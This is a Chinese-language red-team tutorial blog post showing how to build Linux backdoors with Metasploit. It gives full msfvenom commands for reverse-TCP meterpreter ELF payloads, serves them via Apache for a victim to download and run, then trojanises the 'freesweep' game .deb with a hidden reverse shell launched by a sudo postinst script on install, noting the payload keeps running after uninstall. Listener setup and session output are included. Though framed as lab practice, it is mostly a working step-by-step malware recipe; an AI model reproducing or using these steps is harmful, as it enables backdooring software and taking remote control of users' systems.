首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >红队/白帽必经之路(19)——如何用Metasploit 制作Linux恶意木马病毒/软件获取shell[既然是红队,那就对自己狠一点]

红队/白帽必经之路(19)——如何用Metasploit 制作Linux恶意木马病毒/软件获取shell[既然是红队,那就对自己狠一点]

作者头像
盛透侧视攻城狮
发布2024-12-25 09:18:39
发布2024-12-25 09:18:39
6050
举报

1.实战-制作 Linux 恶意软件获取 shell

使用 msfvenom 生成 linux 可执行文件

代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o /var/www/html/xuegod                                   
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 175 (iteration=0)
x64/xor chosen with final size 175
Payload size: 175 bytes
Final size of elf file: 295 bytes
Saved as: /var/www/html/xuegod
参数补充详解:
  • --platform 指定 linux
  • -f 指定 elf 即 linux 操作系统的可执行文件类型
  • -b 去掉坏字符
开启 apache服务
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# /etc/init.d/apache2 start 
Starting apache2 (via systemctl): apache2.service.

MSF 配置监听[老样子4件套]

代码语言:javascript
复制
msf6 exploit(multi/handler) > back
msf6 >  use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) >  set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
接着打开 centos 7.5 xuegod63 linux 虚拟机,新建一个终端:

  • 下载后门
代码语言:javascript
复制
──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# wget http://192.168.1.53/xuegod
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# ./xuegod
  • 添加执行权限
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# chmod +x xuegod
执行程序
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# ./xuegod

然后惊奇的发现MSF控制台已经建立Session喽

查看相关信息
代码语言:javascript
复制
meterpreter > ifconfig
注意:
  • 退出 session 需要使用 quit 正常退出 session 否则会影响下次连接。
代码语言:javascript
复制
meterpreter > quit

2.实战-制作恶意 deb 软件包来触发后门

制作恶意软件包使用--download-only 方式下载软件包不进行安装
代码语言:javascript
复制
──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  apt --download-only install freesweep
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成                 
下列软件包是自动安装的并且现在不需要了:
  cpp-13 fonts-noto-color-emoji ibverbs-providers libboost-iostreams1.74.0
  libboost-thread1.74.0 libcephfs2 libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libibverbs1
  libnsl-dev libpython3.11-dev librados2 librdmacm1 libtirpc-dev python3-lib2to3 python3.11-dev
  samba-ad-provision samba-dsdb-modules samba-vfs-modules
使用'apt autoremove'来卸载它(它们)。
下列【新】软件包将被安装:
  freesweep
升级了 0 个软件包,新安装了 1 个软件包,要卸载 0 个软件包,有 1798 个软件包未被升级。
需要下载 55.8 kB 的归档。
解压缩后会消耗 142 kB 的额外空间。
获取:1 http://kali.download/kali kali-rolling/main amd64 freesweep amd64 1.0.2-1 [55.8 kB]
已下载 55.8 kB,耗时 1秒 (38.4 kB/s) 
于“仅下载”模式中下载完毕
将软件包移动到 root 目录
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  mv /var/cache/apt/archives/freesweep_1.0.2-1_amd64.deb ~/
解压软件包到 free 目录
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# cd ~                
          
┌──(root㉿kali-2024)-[~]
└─# dpkg -x freesweep_1.0.2-1_amd64.deb free
注意一下:
  • 生成软件包时无论是 payload 的和软件包信息都需要选择能够在目标操作系统上执行的创建软件包信息目录

生成恶意代码到软件包源文件中

代码语言:javascript
复制
┌──(root㉿kali-2024)-[~]
└─#  msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp
LHOST=192.168.1.53 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources


参数详解:

msfvenom -a x64 \                    # 使用 64 位架构
    --platform linux \                # 目标平台为 Linux
    -p linux/x64/shell/reverse_tcp \  # 使用反向 TCP Shell 载荷
    LHOST=192.168.1.53 \              # 设置攻击者的 IP 地址
    LPORT=4444 \                      # 设置攻击者的监听端口
    -b "\x00" \                       # 避免使用空字符(NULL 字符)
    -i 10 \                           # 设置载荷编码的迭代次数为 10
    -f elf \                          # 输出为 ELF 格式的文件
    -o /root/free/usr/games/freesweep_sources  # 指定输出路径和文件名

创建软件包信息目录

代码语言:javascript
复制
┌──(root㉿kali-2024)-[~]
└─#  mkdir free/DEBIAN && cd free/DEBIAN

创建软件包的信息文件

补充一下:
  • 为什么用 tee 而不是直接输出到文件? tee 不仅将内容写入文件,还会将它显示在标准输出上(即终端),使得你可以看到你所写入的内容。直接使用 >>> 可能无法显示文件内容。tee 适用于需要同时查看和写入文件的场景。
  • 'EOF' 引号的作用: 使用单引号 'EOF' 表示不会进行变量替换。这是一个安全的做法,特别是当文本中可能含有特殊字符时。如果不希望替换变量或转义字符,就使用单引号;如果希望进行变量替换,可以去掉引号,直接使用 << EOF
代码语言:javascript
复制
┌──(root㉿kali-2024)-[~]
└─#  tee /root/free/DEBIAN/control << 'EOF'
heredoc> 
heredoc> Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works in any visual text display - in Linux console, in an xterm, and in
most text-based terminals currently in use.
EOF

Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep: is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.

创建 deb 软件包,安装后脚本文件,来加载后门

代码语言:javascript
复制
┌──(root㉿kali-2024)-[~]
└─#  tee /root/free/DEBIAN/postinst << 'EOF'
heredoc> #!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &
EOF
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &
  • sudo /usr/games/freesweep_sources
  • & 是将执行的恶意代码/命令放到后台运行

给脚本文件添加执行权限

代码语言:javascript
复制
┌──(root㉿kali-2024)-[~]
└─#  chmod 755 /root/free/DEBIAN/postinst 

构建新的 deb 安装包

代码语言:javascript
复制
┌──(root㉿kali-2024)-[~/free/DEBIAN]
└─# dpkg-deb --build /root/free/
dpkg-deb: 正在 '/root/free.deb' 中构建软件包 'freesweep'。

注意:

会在当前目录下生成构建的软件包 freesweep.db ,我们当前的目录是~/free/DEBIAN

代码语言:javascript
复制
┌──(root㉿kali-2024)-[~/free/DEBIAN]
└─#  ls /root/free.deb
/root/free.deb

新打开一个终端 CTRL+SHIFT+T,生成 MSF 监听

代码语言:javascript
复制
┌──(root㉿kali-2024)-[~]
└─# msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple 
authentication-capturing and poisoning services
                                                  
                                   ___          ____
                               ,-""   `.      < HONK >
                             ,'  _   e )`-._ /  ----
                            /  ,' `-._<.===-'
                           /  /
                          /  ;
              _          /   ;
 (`._    _.-"" ""--..__,'    |
 <_  `-""                     \
  <`-                          :
   (__   <__.                  ;
     `-.   '-.__.      _.'    /
        \      `-.__,-'    _,'
         `._    ,    /__,-'
            ""._\__,'< <____
                 | |  `----.`.
                 | |        \ `.
                 ; |___      \-``
                 \   --<
                  `.`.<
                    `-'



       =[ metasploit v6.3.55-dev                          ]
+ -- --=[ 2397 exploits - 1232 auxiliary - 422 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > 

没什么好说的[MS4件套]

代码语言:javascript
复制
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >  set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run

  • 最好是在 Kali 中执行如果再 XSHELL 中执行可能会导致窗口卡死

打包

代码语言:javascript
复制
dpkg -i free.deb   

# dpkg:用于管理Debian软件包的工具,-i:安装选项,free.deb:待安装的.deb包文件

回到 MSF 控制台

代码语言:javascript
复制
meterpreter > getuid

最后卸载软件包

代码语言:javascript
复制
┌──(root㉿kali-2024)-[~]
└─# dpkg -r freesweep
(正在读取数据库 ... 系统当前共安装有 406336 个文件和目录。)
正在卸载 freesweep (1.0.2-1) ...
正在处理用于 man-db (2.12.0-3) 的触发器 ...
正在处理用于 hicolor-icon-theme (0.17-2) 的触发器 ...
正在处理用于 desktop-file-utils (0.27-1) 的触发器 ...

就算恶意软件包被卸载,payload 依旧正常运行。

代码语言:javascript
复制
meterpreter > pwd 
  • exit 退出即
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-12-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.实战-制作 Linux 恶意软件获取 shell
    • 使用 msfvenom 生成 linux 可执行文件
      • 参数补充详解:
      • 开启 apache服务
    • MSF 配置监听[老样子4件套]
      • 接着打开 centos 7.5 xuegod63 linux 虚拟机,新建一个终端:
    • 然后惊奇的发现MSF控制台已经建立Session喽
  • 2.实战-制作恶意 deb 软件包来触发后门
    • 制作恶意软件包使用--download-only 方式下载软件包不进行安装
    • 将软件包移动到 root 目录
    • 解压软件包到 free 目录
    • 创建软件包信息目录
    • 创建软件包的信息文件
    • 创建 deb 软件包,安装后脚本文件,来加载后门
    • 给脚本文件添加执行权限
    • 构建新的 deb 安装包
    • 新打开一个终端 CTRL+SHIFT+T,生成 MSF 监听
    • 没什么好说的[MS4件套]
    • 打包
    • 回到 MSF 控制台
    • 最后卸载软件包
    • 就算恶意软件包被卸载,payload 依旧正常运行。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档